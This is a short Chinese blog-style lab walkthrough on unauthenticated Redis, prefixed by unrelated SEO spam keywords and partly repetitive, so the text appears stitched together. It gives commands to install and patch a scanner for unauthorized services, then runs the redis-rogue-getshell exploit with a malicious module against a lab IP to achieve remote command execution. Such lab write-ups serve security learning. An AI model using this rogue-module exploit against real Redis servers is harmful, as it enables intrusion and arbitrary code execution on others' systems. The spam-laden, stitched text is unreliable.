网站建设公司营销方案,做360手机网站优化排,四川建设信息网,网站推广工具工作室Redis 简单使用 Redis 未设置密码#xff0c;客户端工具可以直接链接。
Redis 是非关系型数据库系统#xff0c;没有库表列的逻辑结构#xff0c;仅仅以键值对的方式存储数据。
先启动容器 Redis 未设置密码#xff0c;客户端工具可以直接链接 https://github.com/xk11z/…Redis 简单使用 Redis 未设置密码客户端工具可以直接链接。
Redis 是非关系型数据库系统没有库表列的逻辑结构仅仅以键值对的方式存储数据。
先启动容器 Redis 未设置密码客户端工具可以直接链接 https://github.com/xk11z/unauthorized_com
这里上一个自动检测未授权漏洞的工具中间挺多坑的作者提供的安装步骤有问题修改了一下
git clone https://github.com/xk11z/unauthorized_com.git cd unauthorized_comapt-get install python3-pip pip install -r requirements.txt python3 unauthorized_com.py这里还是不能运行需要修改几个文件
vim dic.py 这里要导入redis可能需要下载 这里修改了一下检测代码
python3 unauthorized_com.py -i 192.168.142.151|grep redis 容器的作者还提供了一个方法
git clone https://github.com/vulhub/redis-rogue-getshell 编译 python3 redis-master.py -r 192.168.142.151 -p 6379 -L 192.168.142.151 -P 8888 -f RedisModulesSDK/exp.so -c id
可以看到命令执行成功
